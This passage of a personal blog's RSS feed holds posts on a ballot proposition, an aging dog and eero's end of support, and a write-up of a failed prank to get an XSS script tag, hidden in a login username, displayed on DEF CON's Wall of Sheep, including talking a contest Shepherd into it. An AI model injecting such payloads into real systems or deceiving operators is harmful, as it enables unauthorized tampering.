&lt;p&gt;&lt;strong&gt;No.&lt;/strong&gt; I&#39;m ambivalent. When in doubt, say &amp;quot;no&amp;quot;.&lt;/p&gt;
&lt;h2 id=&#34;proposition-31--enforce-the-flavored-tobacco-bans&#34;&gt;Proposition 31 — Enforce the Flavored Tobacco Bans&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Yes.&lt;/strong&gt; The tobacco industry worked to block enacting a widely supported law that would make it harder for them to market &amp;quot;fun&amp;quot; vape flavors to kids. California has already chosen this legislation. Now let&#39;s defeat Tobacco&#39;s efforts to stop it.&lt;/p&gt;
</description>
      
    </item>
    
    <item>
      <title>Winding down</title>
      <link>https://honeypot.net/post/winding-down/</link>
      <pubDate>Fri, 16 Sep 2022 17:26:00 +0000</pubDate>
      
      <guid>https://honeypot.net/post/winding-down/</guid>
      
        <description>&lt;p&gt;I knew the conversation wouldn&#39;t be easy when the veterinarian asked if this was a good time to talk.&lt;/p&gt;
&lt;p&gt;I still think of her as a puppy, even though she hasn&#39;t been one for many years. People are surprised to find that this tiny little dog is a full-grown adult. Although she&#39;s shaped like a miniature version of the real thing, it&#39;s hard to wrap your brain around something that small being anything other than a baby.&lt;/p&gt;
&lt;p&gt;The years don&#39;t care about her appearance, or that she sometimes sleeps on my pillow next to my head, or that I remember how frisky she use to be. Even little bits wear out and start to fail. As her vet translated the numbers from the lab results into things I could understand, I began to realize what they meant: my wife and I will have to make difficult decisions soon.&lt;/p&gt;
&lt;p&gt;It&#39;s hard to know what&#39;s best for her, and harder yet to separate that from what&#39;s easiest for us. Those aren&#39;t at all the same things. If I could throw the finite resources available to us at the problem and put it off forever, I would. But that&#39;s not how time works. We can delay things, but only for so long. And the delay has its costs. The analytical part of my brain imagines that she has a fixed amount of happiness left. Do we let her spend it all and then lay down for a last nap, or do we spread it over years (or maybe just months, who can tell) of uncomfortable treatments and procedures? I don&#39;t know. And not deciding is the same as deciding: time won&#39;t give us the luxury of pausing until we can choose what&#39;s right.&lt;/p&gt;
&lt;p&gt;My heart knows that this is tougher because of how much we love her. If these sorts of decisions were easy, that would be sad in a different way. Many years ago, we came to care so much about our little puppy that it made the inevitable so painful, but I wouldn&#39;t change that even if I could. And until then, I&#39;m going to make her remaining time as happy as I can.&lt;/p&gt;
</description>
      
    </item>
    
    <item>
      <title>Surprise eero hardware end-of-life</title>
      <link>https://honeypot.net/post/surprise-eero-hardware-end-of-life/</link>
      <pubDate>Tue, 06 Sep 2022 16:21:00 +0000</pubDate>
      
      <guid>https://honeypot.net/post/surprise-eero-hardware-end-of-life/</guid>
      
        <description>&lt;p&gt;Amazon is &lt;a href=&#34;https://support.eero.com/hc/en-us/articles/4401964665243-eero-Software-Security-Updates&#34;&gt;ending software support for 1st generation eero devices&lt;/a&gt; at the end of September 2022. That&#39;s fine. You can&#39;t support old hardware forever, and five years is a decent run.&lt;/p&gt;
&lt;p&gt;But it&#39;s not OK that I got less than a month&#39;s notice that it was happening, and no email or app notifications. I happened to open the eero app for unrelated reasons and saw a banner telling me my hardware will be obsolete later this month. That&#39;s unacceptably short notice that the hardware is all but dead. Sure, it may keep working for a while, but without security updates or routine bug fixes, it&#39;s not anything I&#39;d want to depend on. If I&#39;d received any other notice whatsoever, I would have been investigating hardware upgrades, reading the various sale emails they&#39;d sent me, and otherwise preparing for the day. Now I have to scramble to fix something that I didn&#39;t know needed fixed, and I don&#39;t appreciate it.&lt;/p&gt;
&lt;p&gt;To the folks at eero: this is a managed system. You have my contact information and know what hardware I&#39;m using. This would have been an excellent opportunity for you to let me know about this a few months ago. You could have suggested appropriate hardware upgrades and turned it into a sales opportunity. As your customer, I would have liked that.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;eero-death-notice.png&#34; alt=&#34;eero death notice&#34;&gt;&lt;/p&gt;
</description>
      
    </item>
    
    <item>
      <title>Trying (and Failing) to hack the Wall of Sheep</title>
      <link>https://honeypot.net/post/trying-failing-to-hack-wall-of-sheep/</link>
      <pubDate>Sun, 21 Aug 2022 16:54:48 +0000</pubDate>
      
      <guid>https://honeypot.net/post/trying-failing-to-hack-wall-of-sheep/</guid>
      
        <description>&lt;p&gt;The &lt;a href=&#34;https://www.wallofsheep.com/pages/wall-of-sheep&#34;&gt;Wall of Sheep&lt;/a&gt; is a popular exhibit at &lt;a href=&#34;https://defcon.org&#34;&gt;DEF CON&lt;/a&gt;.  Participants run &lt;a href=&#34;https://www.wireshark.org&#34;&gt;packet sniffers&lt;/a&gt; on an insecure Wi-Fi network and try to catch people logging into unencrypted websites and other services. If they see that happening, they post the person&#39;s username and password on a giant display. It looks something like:&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;normal-wall.jpg&#34; alt=&#34;Sample Wall of Sheep&#34;&gt;&lt;/p&gt;
&lt;p&gt;That&#39;s an excellent reminder to be careful when you&#39;re connected to an unknown network, and not to send your login credentials out in the open.&lt;/p&gt;
&lt;p&gt;From the first time I saw it, though, I had to wonder: is the wall itself hackable? Could I make it look like this instead?&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;hacked-wall.jpg&#34; alt=&#34;Snoop onto them, as they snoop onto us.&#34;&gt;&lt;/p&gt;
&lt;p&gt;The idea kept bouncing around the back of my mind until I added it to my to-do list so I could stop thinking about it. I had to at least &lt;em&gt;try&lt;/em&gt; it.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;hack-the-wall.jpg&#34; alt=&#34;To do: hack the wall!&#34;&gt;&lt;/p&gt;
&lt;h2 id=&#34;assumptions&#34;&gt;Assumptions&lt;/h2&gt;
&lt;p&gt;I know nothing about the Wall of Sheep&#39;s internal workings. That&#39;s deliberate. I wanted to test this for the fun of it, and part of the challenge was to see how far I could get without any knowledge of it. I had to make a few assumptions:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;If you&#39;re connected to the right Wi-Fi network and submit credentials in plaintext, they&#39;ll be shown on the wall.&lt;/li&gt;
&lt;li&gt;The process of getting captured credentials on the wall is automated.&lt;/li&gt;
&lt;li&gt;The wall is rendered by a web browser.&lt;/li&gt;
&lt;li&gt;The wall&#39;s software has been around for a while and wasn&#39;t written to be particularly secure. After all, it&#39;s on the &lt;em&gt;attacking&lt;/em&gt; end, right?&lt;/li&gt;
&lt;li&gt;No one&#39;s tried this before, so no one&#39;s fixed it before.&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id=&#34;choosing-the-attack&#34;&gt;Choosing the attack&lt;/h2&gt;
&lt;p&gt;If the above assumptions are true, the obvious attack vector is &lt;a href=&#34;https://owasp.org/www-community/attacks/xss/&#34;&gt;Cross Site Scripting (XSS)&lt;/a&gt;. The method is to create a snippet of JavaScript and then trick the Wall of Sheep into displaying — and executing — it. This should work:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-html&#34; data-lang=&#34;html&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;lt;&lt;span style=&#34;color:#f92672&#34;&gt;script&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;type&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;text/javascript&amp;#34;&lt;/span&gt;&amp;gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;alert&lt;/span&gt;(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;I was here.&amp;#34;&lt;/span&gt;);&amp;lt;/&lt;span style=&#34;color:#f92672&#34;&gt;script&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;But how do I get that onto the board? The password field is usually censored, such as &lt;code&gt;hunter2&lt;/code&gt; being masked to &lt;code&gt;hunt***&lt;/code&gt;. That would destroy the payload, so that wouldn&#39;t work. Is there a way to make a DNS hostname that renders correctly? Eh, maybe, but crafting &lt;em&gt;that&lt;/em&gt; sounds like work. (Note to self: but boy, wouldn&#39;t that wreak havoc on the web? Huh. I&#39;ve gotta look into that.)&lt;/p&gt;
&lt;p&gt;However, look at that lovely login field. It&#39;s just sitting out there in full, uncensored, plaintext glory. Jackpot! That&#39;s where I&#39;ll inject the JavaScript.&lt;/p&gt;
&lt;h2 id=&#34;setting-up-a-webserver&#34;&gt;Setting up a webserver&lt;/h2&gt;
&lt;p&gt;This attack requires a webserver to send those faked credentials to. For ease of implementation, I configured &lt;a href=&#34;https://developer.mozilla.org/en-US/docs/Web/HTTP/Authentication&#34;&gt;HTTP Basic authentication&lt;/a&gt; with:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Username: &lt;code&gt;Me&amp;lt;script ...&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Password: &lt;code&gt;lol&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div
  class=&#34;notice&#34;
&gt;
  &lt;span
    class=&#34;notice__title&#34;
  &gt;Info&lt;/span&gt;&lt;div class=&#34;notice__content&#34;&gt;
    Remember how I&#39;ve wanted to do this for years? Guess who suddenly remembered to do it on the last day of DEF CON. Everything after this was done on my iPhone with Vim in an SSH client. This was not an ideal way to do something technical. Learn from my mistakes: failing to plan is planning to fail.
  &lt;/div&gt;
&lt;/div&gt;
&lt;h2 id=&#34;getting-onto-the-defcon-open-wi-fi&#34;&gt;Getting onto the DefCon-open Wi-Fi&lt;/h2&gt;
&lt;p&gt;You brought a burner device, right? I didn&#39;t. What could possibly go wrong connecting an off-the-shelf device to an open network at DEF CON! YOLO.&lt;/p&gt;
&lt;h2 id=&#34;visiting-the-web-page&#34;&gt;Visiting the web page&lt;/h2&gt;
&lt;p&gt;I logged into the page on my webserver&#39;s bare IP address, watched the board, and… nothing. I reloaded it; nothing. I looked around to see if any of the participants looked like they might&#39;ve found something; still nothing. Rats.&lt;/p&gt;
&lt;h2 id=&#34;enlisting-help&#34;&gt;Enlisting help&lt;/h2&gt;
&lt;p&gt;Jan and Pat&lt;sup id=&#34;fnref:1&#34;&gt;&lt;a href=&#34;#fn:1&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;1&lt;/a&gt;&lt;/sup&gt; were participants sitting near where I was setting this up. I needed their assistance but didn&#39;t want to outright ask for it. I started posing innocent questions to Jan: &amp;quot;Hey, what are you working on? What&#39;s Wireshark?&amp;quot; While they kindly explained in general terms, they were understandably more interested in their own project than tutoring a passerby. Pat was more willing to teach me and I pulled up a chair to sit with them. They patiently answered my questions and pointed to interesting things on their screen. They also noticed fairly quickly that I was regularly reloading a page on my phone as I watched them. &amp;quot;Hey, uh, are you trying to get caught?&amp;quot; &amp;quot;Maaaaybe…&amp;quot; &amp;quot;Why?&amp;quot; I gave them a quick explanation of my project and they instantly bought in:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Pat:&lt;/strong&gt; Do you think this&#39;ll work?&lt;br&gt;
&lt;strong&gt;Me:&lt;/strong&gt; Probably not, but it&#39;s worth a shot.&lt;br&gt;
&lt;strong&gt;Pat:&lt;/strong&gt; Oh, wow. If it does, this will be legendary!&lt;/p&gt;
&lt;p&gt;I had a helper. Soon after, Jan noticed we were up to something, leading to one of my favorite exchanges at DEF CON:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Jan:&lt;/strong&gt; Are you two trying to get something up there on the board?&lt;br&gt;
&lt;strong&gt;Me, grinning:&lt;/strong&gt; Yeah. It&#39;s a JavaScript injection.&lt;br&gt;
&lt;strong&gt;Jan, wide-eyed:&lt;/strong&gt; &lt;em&gt;Who the hell are you?&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Thank you, Jan. I felt like a bona fide Security Researcher after that.&lt;/p&gt;
&lt;p&gt;Another random visitor saw us huddled and asked if we were trying to hack something. Jan looked at me, looked at the visitor, said &amp;quot;nope&amp;quot;, and looked back at me. I winked at Jan. Jan nodded back. The visitor squinted at us and walked off. Jan had my back.&lt;/p&gt;
&lt;div
  class=&#34;notice&#34;
&gt;
  &lt;span
    class=&#34;notice__title&#34;
  &gt;Info&lt;/span&gt;&lt;div class=&#34;notice__content&#34;&gt;
    Pat and Jan were awesome. When we couldn&#39;t capture my phone&#39;s request, Pat asked if I happened to be on a VPN. &lt;em&gt;facepalm.&lt;/em&gt; Yes, I had &lt;a href=&#34;https://support.apple.com/en-us/HT212614&#34;&gt;iCloud Private Relay&lt;/a&gt; turned on globally.
  &lt;/div&gt;
&lt;/div&gt;
&lt;h2 id=&#34;social-engineering-a-shepherd&#34;&gt;Social engineering a Shepherd&lt;/h2&gt;
&lt;p&gt;After experimentation, we had usable Wireshark captures of me logging into my website. However, they weren&#39;t being displayed on the Wall of Sheep. It turned out that my assumption was wrong: we had to demonstrate the capture to a &amp;quot;Shepherd&amp;quot; running the contest. Pat called one over. We showed them Pat&#39;s capture, but they weren&#39;t convinced at first. Most website logins are through a form POSTed to the server, not through HTTP Basic authentication. The Shepherd was also skeptical that the login was successful because the server was returning the default &amp;quot;welcome to Nginx!&amp;quot; page and not something personalized for the (obviously fake) username. I leaned very hard into the &amp;quot;innocent observer&amp;quot; role, asking questions like &amp;quot;but isn&#39;t that what a successful capture looks like?&amp;quot; and &amp;quot;golly gee, it looks right to me. Don&#39;t you think?&amp;quot; and &amp;quot;it looks suspicious to me, too, but couldn&#39;t we try it and see what happens?&amp;quot; Our Shepherd seemed almost ready to go along with it — until they burned my plan to the ground.&lt;/p&gt;
&lt;h2 id=&#34;defeat&#34;&gt;Defeat&lt;/h2&gt;
&lt;p&gt;I asked the Shepherd how a login goes from being captured to being shown on the Wall of Sheep. Their reply doomed our fun: &amp;quot;I&#39;d type it in.&amp;quot; Oh no. That&#39;s not good. &amp;quot;Isn&#39;t it automatic?&amp;quot;, I asked. The Shepherd paused to rub the bridge of their nose. &amp;quot;Well,&amp;quot; they sighed, &amp;quot;it &lt;em&gt;was&lt;/em&gt; until people started sending a bunch of vile usernames and passwords and kind of ruined it&lt;sup id=&#34;fnref:2&#34;&gt;&lt;a href=&#34;#fn:2&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;2&lt;/a&gt;&lt;/sup&gt;, so now we have to moderate the process.&amp;quot; I wasn&#39;t giving up, though. &amp;quot;Could you type that username to see what happens?&amp;quot; &amp;quot;It&#39;d just show up like that,&amp;quot; they replied. &amp;quot;Could we try it?&amp;quot;, I pleaded. &amp;quot;I mean, it&#39;s just text. Um, that&#39;s not a web page&amp;quot;, they countered.&lt;/p&gt;
&lt;p&gt;What.&lt;/p&gt;
&lt;p&gt;And then for the first time ever, I saw a flashing cursor down in the bottom corner of the Wall of Sheep. My heart sunk. &amp;quot;Is that Excel or something?&amp;quot; They grinned: &amp;quot;it&#39;s just some old software we run.&amp;quot;&lt;/p&gt;
&lt;p&gt;Disaster.&lt;/p&gt;
&lt;h2 id=&#34;regrouping&#34;&gt;Regrouping&lt;/h2&gt;
&lt;p&gt;That&#39;s when I formally gave up on this attempt. If it were ever possible to hack the Wall of Sheep, it wasn&#39;t on that day. That doesn&#39;t mean I&#39;m abandoning this forever, though. Next year, I&#39;m going to make a smarter effort, by:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Setting this up in advance. Again, Vim over SSH on a phone sucks. I&#39;ll have the fake login working before I leave home.&lt;/li&gt;
&lt;li&gt;Getting there earlier. If the Wall of Sheep is ever going to be automated and rendered in a browser, it&#39;ll be at the opening of DEF CON before anyone&#39;s polluted the waters.&lt;/li&gt;
&lt;li&gt;Using a more common authentication method than HTTP Basic auth, like a typical login form.&lt;/li&gt;
&lt;li&gt;Making the resulting page look like I&#39;d really logged into a legitimate service.&lt;/li&gt;
&lt;li&gt;Bringing a burner device, because putting my own personal device on that specific Wi-Fi network was not the best idea I&#39;ve ever had.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;And if Jan and Pat are around, I&#39;m recruiting their help again.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;hack-the-wall-harder.jpg&#34; alt=&#34;To do: hack the wall harder!&#34;&gt;&lt;/p&gt;
&lt;div class=&#34;footnotes&#34; role=&#34;doc-endnotes&#34;&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id=&#34;fn:1&#34;&gt;
&lt;p&gt;I didn&#39;t get anyone&#39;s names, or their permission to describe them. Fake names are all you get.&amp;#160;&lt;a href=&#34;#fnref:1&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&#34;fn:2&#34;&gt;
&lt;p&gt;I appreciate the irony that I&#39;m complaining about hackers getting stuff to show up on the Wall of Sheep in a post where I&#39;m talking about getting stuff to show up on the Wall of Sheep. The first rule of a good prank, though, is &amp;quot;don&#39;t be a jackass and ruin it for everyone else&amp;quot;. I was going for something that I hoped the Shepherds would find amusing and wasn&#39;t trying to get racial slurs and other vile junk to show up on a big screen. Don&#39;t be that person.&amp;#160;&lt;a href=&#34;#fnref:2&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
</description>
      
    </item>
    
  </channel>
</rss>